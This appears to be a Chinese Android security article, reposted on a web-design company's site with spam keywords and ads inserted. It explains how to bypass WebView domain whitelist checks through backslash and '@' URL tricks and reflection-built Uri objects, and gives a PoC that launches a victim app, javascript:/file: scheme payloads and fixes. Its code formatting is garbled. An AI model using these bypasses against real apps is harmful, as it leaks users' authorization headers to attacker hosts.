真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

Android中怎么繞過(guò)域名白名單校驗(yàn)

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)Android中怎么繞過(guò)域名白名單校驗(yàn),文章內(nèi)容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)Android中怎么繞過(guò)域名白名單校驗(yàn),文章內(nèi)容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

一、 Url加入反斜杠"\"1.1. 方法描述

創(chuàng)新互聯(lián)建站是專(zhuān)業(yè)的縉云網(wǎng)站建設(shè)公司,縉云接單;提供網(wǎng)站制作、網(wǎng)站建設(shè),網(wǎng)頁(yè)設(shè)計(jì),網(wǎng)站設(shè)計(jì),建網(wǎng)站,PHP網(wǎng)站建設(shè)等專(zhuān)業(yè)做網(wǎng)站服務(wù);采用PHP框架,可快速的進(jìn)行縉云網(wǎng)站開(kāi)發(fā)網(wǎng)頁(yè)制作和功能擴(kuò)展;專(zhuān)業(yè)做搜索引擎喜愛(ài)的網(wǎng)站,專(zhuān)業(yè)的做網(wǎng)站團(tuán)隊(duì),希望更多企業(yè)前來(lái)合作!

先來(lái)看一種典型的域名校驗(yàn)寫(xiě)法:
/*  Uri 結(jié)構(gòu)
*   [scheme:][//authority][path][?query][#fragment]
*/[check_v1
]Uri uri = Uri.parse(attackerControlledString
);if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com"
)) {    webView.loadUrl(attackerControlledString, getAuthorizationHeaders
());    
// or webView.loadUrl(uri.toString())

}

然而...String url = "http://attacker.com\\.legitimate.com/smth"
; Log.d("getHost:", Uri.parse(url).getHost());        
// 輸出 attacker.com\.legitimate.com ! if (Uri.parse(url).getHost().endsWith(".legitimate.com"
)) {        webView.loadUrl(url, getAuthorizationHeaders());  
// 成功加載 attacker.com!

}

可以看到 getHost() 和 loadUrl() 的表現(xiàn)不一致,if檢驗(yàn)跳轉(zhuǎn)目標(biāo)是legitimate.com,但執(zhí)行時(shí)瀏覽器會(huì)把反斜線糾正為正斜線去訪問(wèn)attacker.com。那么如果是用 equals() 來(lái)做完整的 host 檢驗(yàn)該怎么辦呢?只需加一個(gè)‘@’就能隔斷非法前綴。String url = "http://attacker.com\\@legitimate.com/smth"
;Log.d("Wow", Uri.parse(url).getHost());          
// 輸出 legitimate.com!webView.loadUrl(url, getAuthorizationHeaders()); // 加載 attacker.com!

1.2. 分析原因

看來(lái)android.net.Uri的 parse() 是有安全缺陷的,我們扒拉一下代碼定位問(wèn)題...[frameworks/base/core/java/android/net/Uri.java
]public static Uri parse(String uriString
) {        return new StringUri(uriString
);

}

繼續(xù)看這個(gè)內(nèi)部類(lèi)StringUri[frameworks/base/core/java/android/net/Uri.java
]private static class StringUri extends AbstractHierarchicalUri
{
       ...        private StringUri(String uriString
) {            this.uriString = uriString
;
       }
       ...        private Part getAuthorityPart
() {            if (authority == null
) {                String
encodedAuthority                        = parseAuthority(this.uriString, findSchemeSeparator
());                return authority = Part.fromEncoded(encodedAuthority
);
           }            return authority
;
       }
       ...        static String parseAuthority(String uriString, int ssi
) {            int length = uriString.length
();            
// If "http://" follows the scheme separator, we have an authority.            if (length > ssi +
2                    && uriString.charAt(ssi + 1) ==
'/'                    && uriString.charAt(ssi + 2) == '/'
) {                
// We have an authority.                
// Look for the start of the path, query, or fragment, or the                
// end of the string.                int end = ssi + 3
;                LOOP: while (end < length
) {                    switch (uriString.charAt(end
)) {                        case '/':
// Start of path                        case '?':
// Start of query                        case '#':
// Start of fragment                            break LOOP
;
                   }                    end++
;
               }                return uriString.substring(ssi + 3, end
);            } else
{                return null
;
           }
       }

}

這里就明顯看到StringUri沒(méi)有對(duì)authority部分做反斜杠的識(shí)別處理, 接著找StringUri的父類(lèi)AbstractHierarchicalUri瞧瞧:[frameworks/base/core/java/android/net/Uri.java
]private abstract static class AbstractHierarchicalUri extends Uri
{    private String parseUserInfo
() {        String authority = getEncodedAuthority
();        int end = authority.indexOf('@'
);        return end == NOT_FOUND ? null : authority.substring(0, end
);
   }
   ...    private String parseHost
() {        String authority = getEncodedAuthority
();        
// Parse out user info and then port.        int userInfoSeparator = authority.indexOf('@'
);        int portSeparator = authority.indexOf(':', userInfoSeparator
);        String encodedHost = portSeparator ==
NOT_FOUND                ? authority.substring(userInfoSeparator + 1
)                : authority.substring(userInfoSeparator + 1, portSeparator
);        return decode(encodedHost
);
   }

}

就在這里把@符號(hào)之前內(nèi)容的作為 UserInfo 給切斷了,host 內(nèi)容從@符號(hào)之后算起。(這里其實(shí)存在另一個(gè) bug,沒(méi)有考慮多個(gè)@的情況)

1.3. 影響范圍

Google 在 2018年4月的 Android 安全公告里發(fā)布了這個(gè)漏洞CVE-2017-13274的補(bǔ)丁

通過(guò)AndroidXRef查詢(xún),這個(gè)補(bǔ)丁在 Oreo - 8.1.0_r33 才加入到原生源碼中。所以安全補(bǔ)丁日期早于2018-04-01的系統(tǒng)都受影響,而 Google 一般通過(guò)協(xié)議要求 OEM 廠商保證產(chǎn)品上市之后兩年內(nèi)按期打安全補(bǔ)丁。那么經(jīng)過(guò)推算得出 Android 6及以下的系統(tǒng)都受影響。

PS:url含多個(gè)@的情況也在2018年1月的補(bǔ)丁中進(jìn)行了修復(fù)CVE-2017-13176

二、反射調(diào)用HierarchicalUri構(gòu)造Uri2.1. 檢查UserInfo

上一節(jié)提到了@的截取的特性,會(huì)把惡意地址前綴attacker.com存入 UserInfo,那么現(xiàn)在改進(jìn)校驗(yàn)方法, 加上 UserInfo 的檢查是不是就萬(wàn)無(wú)一失了呢?[check_v2
]Uri uri = getIntent().getData
();boolean isOurDomain = "https".equals(uri.getScheme())
&&                      uri.getUserInfo() == null
&&                      "legitimate.com".equals(uri.getHost
());if (isOurDomain
) {    webView.load(uri.toString(), getAuthorizationHeaders
());

}2.2. 挖掘思路

我們還是看android.net.Uri源碼,發(fā)現(xiàn)除了StringUri,還有一個(gè)內(nèi)部類(lèi)也 HierarchicalUri 也繼承了 AbstractHierarchicalUri[frameworks/base/core/java/android/net/Uri.java
]private static class HierarchicalUri extends AbstractHierarchicalUri

{    private final String scheme;
// can be null    private final Part authority
;    private final PathPart path
;    private final Part query
;    private final Part fragment

;    private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment
) {        this.scheme = scheme
;        this.authority = Part.nonNull(authority
);        this.path = path == null ? PathPart.NULL : path
;        this.query = Part.nonNull(query
);        this.fragment = Part.nonNull(fragment
);

   }
   ...

}

而AbstractHierarchicalUri又是繼承自Uri,所以很容易想到,通過(guò)反射調(diào)用HierarchicalUri這個(gè)私有構(gòu)造函數(shù),傳入構(gòu)造好的 authority 和 path, 創(chuàng)建一個(gè)任意可控的Uri實(shí)例。繼續(xù)查看Part和PathPart類(lèi)的構(gòu)造方法:    static class Part extends AbstractPart
{    private Part(String encoded, String decoded
) {        super(encoded, decoded
);
   }
}static class PathPart extends AbstractPart
{    private PathPart(String encoded, String decoded
) {        super(encoded, decoded
);
   }

}2.3. 構(gòu)造PoC

由此構(gòu)造 PoC 如下:public void PoC
() {    private static final String TAG = "PoC"
;    String attackerUri = "@attacker.com"
;    String legitimateUri = "legitimate.com"

;    try
{        Class partClass = Class.forName("android.net.Uri$Part"
);        Constructor partConstructor = partClass.getDeclaredConstructors()[0
];        partConstructor.setAccessible(true

);        Class pathPartClass = Class.forName("android.net.Uri$PathPart"
);        Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0
];        pathPartConstructor.setAccessible(true

);        Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri"
);        Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0
];        hierarchicalUriConstructor.setAccessible(true

);        Object authority = partConstructor.newInstance(legitimateUri, legitimateUri
);        Object path = pathPartConstructor.newInstance(attackerUri, attackerUri
);        Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null

);        Log.d(TAG, "Scheme: " + uri.getScheme
());        Log.d(TAG, "UserInfo: " + uri.getUserInfo
());        Log.d(TAG, "Host: " + uri.getHost
());        Log.d(TAG, "toString(): " + uri.toString

());    } catch (Exception e
) {        throw new RuntimeException(e
);
   }    Intent intent = new Intent("android.intent.action.VIEW"
);    intent.setClassName(Victim_packageName, Victim_className
);    intent.setData(uri
);    intent.addFlags(268435456
);    startActivity(intent
);

}

logcat 輸出:07-07 19:00:36.765 9209 9209
D PoC : Scheme: https07-07 19:00:36.765 9209 9209
D PoC : UserInfo: null07-07 19:00:36.765 9209 9209
D PoC : Host: legitimate.com07-07 19:00:36.765 9209 9209

D PoC : toString(): https://legitimate.com@attacker.com

從輸出日志可以看到,通過(guò)此反射方法構(gòu)造的 Uri 對(duì)象,可以通過(guò) check_v2 方法對(duì) Scheme、 UserInfo 和 Host 的三項(xiàng)檢驗(yàn),但 toString() 方法的值https://legitimate.com@attacker.com,才是被攻擊的 Activity 拉起的實(shí)際地址。如前所述,@符號(hào)之后的    attacker.com 便成為了最終訪問(wèn)的 host。

2.4. 限制與繞過(guò)

Android P 之后 Google 對(duì) non-sdk 的 @hide API 進(jìn)行了限制。Android Studio 也會(huì)給出如下提示,并且讓這種反射調(diào)用在運(yùn)行時(shí)報(bào)錯(cuò)失敗。

Accessing internal APIs via reflection is not supported and may not work on all devices or in the future less... (Ctrl+F1) Inspection info:Using reflection to access hidden/private Android APIs is not safe; it will often not work on devices from other        vendors, and it may suddenly stop working (if the API is removed) or crash spectacularly (if the API behavior changes, since there are no guarantees for compatibility). Issue id: PrivateApi

截止到目前——Android Q Beta 4,還是有繞過(guò)的方法, 關(guān)于繞過(guò)原理的梳理不在本文議題范圍。

2.5. 修復(fù)方法

抵御這種攻擊的方法也非常簡(jiǎn)單,對(duì)傳入的 Uri 對(duì)象加一次 parse() 再做 check_v2 即可。事實(shí)上,有大量的開(kāi)發(fā)者因?yàn)椴涣私膺@個(gè)性質(zhì),認(rèn)為傳入的 url 已經(jīng)是”正?!巴ㄟ^(guò) Uri.parse() 構(gòu)造的,直接信任放行。

三、遠(yuǎn)程利用方法1

我們知道,通過(guò)在組件中注冊(cè) intent-filter,App 可以響應(yīng)瀏覽器應(yīng)用或短信應(yīng)用訪問(wèn)的外鏈。典型的一個(gè)配置寫(xiě)法如下,只有 標(biāo)簽中指定的內(nèi)容和 Intent 中攜帶的 Data 完全一致時(shí),當(dāng)前活動(dòng)才能響應(yīng)該 Intent。>    >        />        />        />        />    >>

前面兩種方法我們都是用安裝惡意 App 或 ADB 命令來(lái)觸發(fā)攻擊,注意到 Android 對(duì) 定義的屬性,也是通過(guò) parsedIntent.getData().getHost() 來(lái)進(jìn)行匹配的,我們很自然的想到嘗試遠(yuǎn)程利用。
Click Attack v1>Click Attack v2>

然而,對(duì)于第一個(gè)鏈接,瀏覽器會(huì)自動(dòng)把反斜杠 "\" 糾正為正斜杠 "/"對(duì)于第二個(gè)鏈接,反斜杠 "\" 會(huì)以 URL 編碼形式保留而無(wú)法觸發(fā)方法1

通過(guò)仔細(xì)研究intent://scheme的工作機(jī)制,發(fā)現(xiàn)可以通過(guò)如下方式保留反斜杠 "\" 的方法:

PoC:

Click Attack v3

跟蹤源碼,可以看到,訪問(wèn)這個(gè)鏈接,等價(jià)于執(zhí)行:

Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")

從而實(shí)現(xiàn)方法1的遠(yuǎn)程執(zhí)行版本。

四、缺少scheme驗(yàn)證

實(shí)戰(zhàn)不乏有些 App 對(duì) host 做了校驗(yàn),但卻遺漏了對(duì) scheme 的檢查。

可以用下面的 uri, 嘗試進(jìn)行 js 和 file 域的 PoC:

javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html


文章名稱(chēng):Android中怎么繞過(guò)域名白名單校驗(yàn)
本文URL:http://weahome.cn/article/cjiisd.html

其他資訊

在線咨詢(xún)

微信咨詢(xún)

電話咨詢(xún)

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部